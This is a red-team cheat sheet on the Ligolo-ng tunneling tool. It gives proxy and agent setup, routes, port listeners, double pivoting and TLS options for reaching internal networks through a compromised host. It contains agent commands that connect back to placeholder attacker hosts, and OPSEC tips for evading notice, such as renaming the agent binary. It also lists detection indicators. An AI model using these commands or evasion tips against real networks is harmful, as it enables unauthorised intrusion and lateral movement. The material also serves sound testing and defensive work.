Skip to Content
Ligolo-ng network tunneling and pivoting with TUN interfaces

Ligolo-ng

Ligolo-ng setup and usage for pivoting through a TUN interface, covering proxy and agent setup, routes, listeners and double pivots.

Dec 16, 2025
Updated Nov 22, 2026
7 min read

Introduction

Ligolo-ng is a tunneling tool that routes traffic into internal networks through a TUN interface on your machine. You add a route and your tools talk to internal hosts directly, without proxychains or per-tool SOCKS settings.

It has two parts. The proxy runs on your machine and owns the TUN interface. The agent runs on the compromised host and needs no admin rights.

Why Ligolo-ng

Compared with SOCKS-based pivoting:

  • Traffic goes through a routed interface, so Nmap TCP connect scans and other tools work without wrappers.
  • Agents run on Windows, Linux and macOS, unprivileged.
  • The agent-to-proxy link is TLS, and the agent can validate the proxy certificate.
  • One proxy handles several agents at once.

Installation

Proxy (attacker machine)

# Download latest release
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_Linux_64bit.tar.gz
tar -xzf ligolo-ng_proxy_Linux_64bit.tar.gz

# Or build from source
git clone https://github.com/nicocha30/ligolo-ng
cd ligolo-ng
go build -o proxy cmd/proxy/main.go

Agent (target machine)

Download the agent binary for the target OS from the releases page.

Quick start

1. Create the TUN interface (Linux)

# Create TUN interface
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up

# Or use Ligolo-ng v0.6+ built-in command (after starting proxy)
ligolo-ng » interface_create --name ligolo

2. Start the proxy

# Using self-signed certificate (lab environments)
sudo ./proxy -selfcert

# Using Let's Encrypt (requires port 80)
sudo ./proxy -autocert

# Using custom certificates
sudo ./proxy -certfile cert.pem -keyfile key.pem

3. Deploy and run the agent

# On target machine
./agent -connect <ATTACKER_IP>:11601 -ignore-cert

# With certificate validation (recommended for production)
./agent -connect <ATTACKER_IP>:11601 -accept-fingerprint <FINGERPRINT>

4. Configure the tunnel

# Select the agent session
ligolo-ng » session
? Specify a session: 1 - user@target - 10.10.10.5:38000

# View target network interfaces
[Agent: user@target] » ifconfig

# Start the tunnel
[Agent: user@target] » tunnel_start --tun ligolo

# Add route to internal network
sudo ip route add 192.168.1.0/24 dev ligolo
# Or using Ligolo-ng CLI
ligolo-ng » interface_add_route --name ligolo --route 192.168.1.0/24

Other features

Reaching the agent's local ports

Ligolo-ng reserves a special CIDR 240.0.0.0/4 for accessing the agent's localhost:

# Add route to magic CIDR
sudo ip route add 240.0.0.1/32 dev ligolo

# Now access agent's local services
nmap 240.0.0.1 -sV
curl http://240.0.0.1:8080

Port forwarding (listeners)

Forward ports from the agent to your machine:

# Forward agent's port 3389 to your localhost:3389
[Agent: user@target] » listener_add --addr 0.0.0.0:3389 --to 127.0.0.1:3389 --tcp

# List active listeners
[Agent: user@target] » listener_list

# Remove listener
[Agent: user@target] » listener_stop --id 0

Double pivoting

For a second hop (agent 1, then agent 2, then the internal network):

# Create second TUN interface
ligolo-ng » interface_create --name ligolo2

# On Agent1, forward port to Agent2
[Agent1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

# Connect Agent2 through Agent1
# On second compromised host
./agent -connect <AGENT1_IP>:11601 -ignore-cert

# Select Agent2 and start tunnel on ligolo2
[Agent2] » tunnel_start --tun ligolo2

# Add routes for the deeper network
sudo ip route add 10.10.10.0/24 dev ligolo2

TLS certificate validation

To have the agent check the proxy certificate instead of accepting any:

# Get certificate fingerprint from proxy
ligolo-ng » certificate_fingerprint
INFO[0203] TLS Certificate fingerprint: D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC

# Connect agent with fingerprint validation
./agent -connect attacker.com:11601 -accept-fingerprint D005527D...

Platform-specific configuration

Windows proxy setup

  1. Download Wintun driver
  2. Place wintun.dll in same directory as proxy
  3. Run proxy as Administrator
# Add route on Windows
route add 192.168.1.0 mask 255.255.255.0 0.0.0.0 if <INTERFACE_IDX>

# Find interface index
netsh int ipv4 show interfaces

macOS setup

# Create interface
sudo ifconfig utun4 alias 10.0.0.1 255.255.255.0

# Add route
sudo route add -net 192.168.1.0/24 -interface utun4

# Start tunnel (use utun device)
[Agent] » tunnel_start --tun utun4

Command reference

Proxy commands

CommandDescription
sessionSelect an agent session
sessionsList all connected agents
interface_createCreate new TUN interface
interface_listList TUN interfaces
certificate_fingerprintShow TLS certificate fingerprint

Agent session commands

CommandDescription
ifconfigShow agent's network interfaces
tunnel_startStart tunnel on specified TUN
tunnel_stopStop active tunnel
listener_addCreate port forward
listener_listList port forwards
listener_stopRemove port forward

Operational security

OPSEC considerations

  • Turn on certificate validation outside a lab.
  • Rename the agent binary to something that fits the host.
  • Add -retry so the agent reconnects if the link drops: ./agent -connect host:11601 -retry
  • The traffic is encrypted, but a long-lived connection to one external host still stands out.

Detection

Defenders tend to spot Ligolo-ng through:

  • Outbound connections to uncommon ports (default 11601)
  • TLS connections with self-signed certificates
  • A workstation or server suddenly sending scan-like traffic to many internal hosts
  • Impacket - Complementary tools for Windows attacks
  • Sliver - C2 framework with built-in pivoting
  • Network attacks - Services to target through pivots

References

MITRE ATT&CK techniques

Official documentation

On this page